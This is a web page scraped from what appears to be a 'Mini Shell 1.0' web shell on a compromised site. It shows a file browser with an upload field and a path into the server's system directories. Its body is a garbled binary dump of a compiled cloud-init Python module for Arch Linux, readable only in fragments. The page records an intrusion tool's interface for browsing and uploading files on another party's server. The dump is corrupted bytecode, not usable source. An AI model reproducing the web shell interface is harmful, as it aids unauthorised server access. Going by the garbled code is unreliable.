HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/distros/__pycache__/arch.cpython-311.pyc
�

܍~cY!����ddlZddlmZmZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZeje��ZGd
�dej��Z				dd�Zd�Zd�ZdS)�N)�distros�helpers)�log)�subp�util)�net_util)�HostnameConf)�Renderer)�RendererNotFoundError)�PER_INSTANCEc���eZdZdZdZdgZddddd�iZd	�Zdd�Zd�Z	d
e
f�fd�Zd�Zd�Z
d�Zd�Zd�Zd�Zdd�Zd�Zd�Zdd�Zd�Z�xZS)�Distroz/etc/locale.genz/etc/netctl�	systemctl�netplanz/etc/netplan/50-cloud-init.yamlz# generated by cloud-init
T)�netplan_path�netplan_header�postcmdsc��tj�||||��tj|��|_d|_d|d<dS)N�arch�sshd�ssh_svcname)rr�__init__r�Runners�_runner�osfamily)�self�name�cfg�pathss    �8/usr/lib/python3/dist-packages/cloudinit/distros/arch.pyrzDistro.__init__!sH�������d�C��7�7�7���u�-�-�����
�#��M����Nc�8�|�!|dkrt�d|��tj��d|zdg}tj|jd�|����tjdgd���tjd	d
|gd���dS)Nz/etc/locale.confzFInvalid locale_configfile %s, only supported value is /etc/locale.confz%s UTF-8��
z
locale-genF��capture�	localectlz
set-locale)�LOG�warningr�make_header�
write_file�
locale_gen_fn�joinr)r�locale�out_fn�liness    r �apply_localezDistro.apply_locale*s�����&�,>�">�">��K�K�,��
�
�
�
�����&�!��	
��	
���*�D�I�I�e�,<�,<�=�=�=��	�<�.�%�0�0�0�0�	
�	�;��f�5�u�E�E�E�E�E�Er!c�\�|���|�d|���dS)Nr#)�pkgs)�update_package_sources�package_command)r�pkglists  r �install_packageszDistro.install_packages=s3���#�#�%�%�%����R�g��.�.�.�.�.r!�returnc�z��	t�����S#t$r
}t|�d}~wwxYw�N)�super�
_get_rendererr�NotImplementedError)r�e�	__class__s  �r r<zDistro._get_rendererAsE���	-��7�7�(�(�*�*�*��$�	-�	-�	-�%�1�,�����	-���s�#�
:�5�:c��tj|��}t�d||��t	||j|j|j���S)Nz3Translated ubuntu style network settings %s into %s)�resolv_conf�conf_dir�enable_func)r�translate_networkr(�debug�_render_network�resolve_conf_fn�network_conf_dir�_enable_interface)r�settings�entriess   r �_write_networkzDistro._write_networkHs_���,�X�6�6���	�	�A���	
�	
�	
�
���,��*��.�	
�
�
�	
r!c��dd|g}	tj|��\}}t|��rt�d||��dSdS#tj$rtjtd|��YdSwxYw)N�netctl�reenable�(Running %s resulted in stderr output: %s�#Running interface command %s failed)r�lenr(r)�ProcessExecutionErrorr�logexc�r�device_name�cmd�_out�errs     r rIzDistro._enable_interfaceVs�����[�1��	I��)�C�.�.�K�T�3��3�x�x�
����>��S������
�
���)�	I�	I�	I��K��B�C�H�H�H�H�H�H�	I���s�AA
�
*A;�:A;c�0�dd|g}t�d||��	tj|��\}}t|��rt�d||��dS#tj$rt
jtd|��YdSwxYw)NrN�restartz8Attempting to run bring up interface %s using command %srPTrQF)r(rErrRr)rSrrTrUs     r �_bring_up_interfacezDistro._bring_up_interfaceas�����K�0���	�	�F���	
�	
�	
�
		��)�C�.�.�K�T�3��3�x�x�
����>��S�����4���)�	�	�	��K��B�C�H�H�H��5�5�	���s�AA'�'*B�Bc���d}	|�|��}n#t$rYnwxYw|std��}|�|��t	j|t
|��dd���dS)Nr#�wi�)�omode�mode)�_read_hostname_conf�IOErrorr	�set_hostnamerr+�str)r�hostname�filename�confs    r �_write_hostnamezDistro._write_hostnamess�����	��+�+�H�5�5�D�D���	�	�	��D�	�����	$���#�#�D����(�#�#�#����#�d�)�)�3�U�C�C�C�C�C�Cs��
'�'c�H�|�|j��}|j|fSr:)�_read_hostname�hostname_conf_fn)r�sys_hostnames  r �_read_system_hostnamezDistro._read_system_hostname�s&���*�*�4�+@�A�A���%�|�4�4r!c�p�ttj|����}|���|Sr:)r	r�	load_file�parse)rrfrgs   r razDistro._read_hostname_conf�s+���D�N�8�4�4�5�5���
�
�����r!c�n�d}	|�|��}|j}n#t$rYnwxYw|s|S|Sr:)rarerb)rrf�defaultrergs     r rjzDistro._read_hostname�sZ����	��+�+�H�5�5�D��}�H�H���	�	�	��D�	�����	��N��s�!�
.�.c���t�d|��	tjddd|g��dS#tj$rt	jtd|��YdSwxYw)Nz2Non-persistently setting the system hostname to %s�hostnamectlz--transientzset-hostnamez;Failed to non-persistently adjust the system hostname to %s)r(rErrSrrT)rres  r �_apply_hostnamezDistro._apply_hostname�s����	�	�@�(�	
�	
�	
�	��I�}�m�^�X�N�O�O�O�O�O���)�	�	�	��K��M��
�
�
�
�
�
�	���s�7�*A%�$A%c�X�tj||�|�����dS)N)�tz�tz_file)r�set_etc_timezone�
_find_tz_file)rrws  r �set_timezonezDistro.set_timezone�s,��� �B��0B�0B�2�0F�0F�G�G�G�G�G�Gr!c��|�g}gd�}|r+t|t��r|�|��n,|r*t|t��r|�|��|dkrd}|r|�|��tjd|��}|�|��tj|d���dS)N)�pacmanz-Syz--quietz--noconfirm�upgradez-uz%s-%sFr%)�
isinstancerd�append�list�extendr�expand_package_listr)r�command�argsr3rWr6s      r r5zDistro.package_command�s����<��D�9�9�9���	�J�t�S�)�)�	��J�J�t�����
�	�j��t�,�,�	��J�J�t�����i����G��	 ��J�J�w�����*�7�D�9�9���
�
�7����	
�	�#�u�%�%�%�%�%�%r!c�X�|j�d|jdgt���dS)Nzupdate-sourcesz-y)�freq)r�runr5r)rs r r4zDistro.update_package_sources�s9�������d�2�T�F��	�	
�	
�	
�	
�	
r!r:)NN)�__name__�
__module__�__qualname__r,rH�init_cmd�renderer_configsrr1r7r
r<rLrIr\rhrmrarjrur{r5r4�
__classcell__)r?s@r rrsb�������%�M�$���}�H��=�;��
�
���$�$�$�F�F�F�F�&/�/�/�-�x�-�-�-�-�-�-�
�
�
�	I�	I�	I����$D�D�D�5�5�5����
	�	�	�	����H�H�H�&�&�&�&�.
�
�
�
�
�
�
r!r�/�
etc/netctl�etc/resolv.confc
��g}g}tj||��}tj||��}|���D�]\}}|dkr�
|�|��tj�||��}	d||�d��|�d���d|�d����|�d��|�dg��d	�}
tj	|	t|
����|r |�d
��r||��d|vr|�|d����|r"tj	|t|����|S)znRender the translate_network format into netctl files in target.
    Paths will be rendered under target.
    �lo�ethernet�	bootproto�addressr��netmask�gatewayzdns-nameservers)�
Connection�	Interface�IP�Address�Gateway�DNS�auto)
r�target_path�itemsr��os�pathr-�getrr+�convert_netctlr��convert_resolv_conf)rK�targetrBrArC�devs�nameservers�dev�info�net_fn�net_cfgs           r rFrF�s����D��K��"�6�;�7�7�K�����1�1�H��}�}���8�8���d��$�;�;�����C��������h��,�,��$���(�(�;�'�'�"&�(�(�9�"5�"5�"5�"5�t�x�x�	�7J�7J�7J�K��x�x�	�*�*��8�8�-�r�2�2�

�
��	
����w� 7� 7�8�8�8��	�4�8�8�F�+�+�	��K�������$�$����t�$5�6�7�7�7���G����%8��%E�%E�F�F�F��Kr!c�&�g}t|��D]k}||}|�d}nAt|ttf��r%dd�d�|D����zdz}|�|�d|�d����ld�|��S)	z�Given a dictionary, returns a string in netctl profile format.

    netctl profile is described at:
    https://git.archlinux.org/netctl.git/tree/docs/netctl.profile.5.txt

    Note that the 'Special Quoting Rules' are not handled here.Nr#�(� c3� K�|]	}d|zV��
dS)z'%s'N�)�.0�vs  r �	<genexpr>z!convert_netctl.<locals>.<genexpr>�s&���� 9� 9���!�� 9� 9� 9� 9� 9� 9r!�)�=r$)�sortedr�tupler�r-r�)rJ�result�key�vals    r r�r��s����F��h���.�.���s�m���;��C�C�
��e�T�]�
+�
+�	@����� 9� 9�S� 9� 9� 9�9�9�9�C�?�C��
�
�3�3�3����,�-�-�-�-�
�7�7�6�?�?�r!c�N�d}t|t��r
|D]
}|d|zz}�|S)z4Returns a settings string formatted for resolv.conf.r#znameserver %s
)rr�)rJr��nss   r r�r��s?��
�F��(�D�!�!�5��	5�	5�B��/�"�4�4�F�F��Mr!)r�r�r�N)r��	cloudinitrrr�loggingrr�cloudinit.distrosr�"cloudinit.distros.parsers.hostnamer	�cloudinit.net.rendererr
�cloudinit.net.renderersr�cloudinit.settingsr�	getLoggerr�r(rrFr�r�r�r!r �<module>r�s>��
�	�	�	�&�&�&�&�&�&�&�&�$�$�$�$�$�$� � � � � � � � �&�&�&�&�&�&�;�;�;�;�;�;�+�+�+�+�+�+�9�9�9�9�9�9�+�+�+�+�+�+��g���!�!��k
�k
�k
�k
�k
�W�^�k
�k
�k
�`�
�!��&�&�&�&�R���$����r!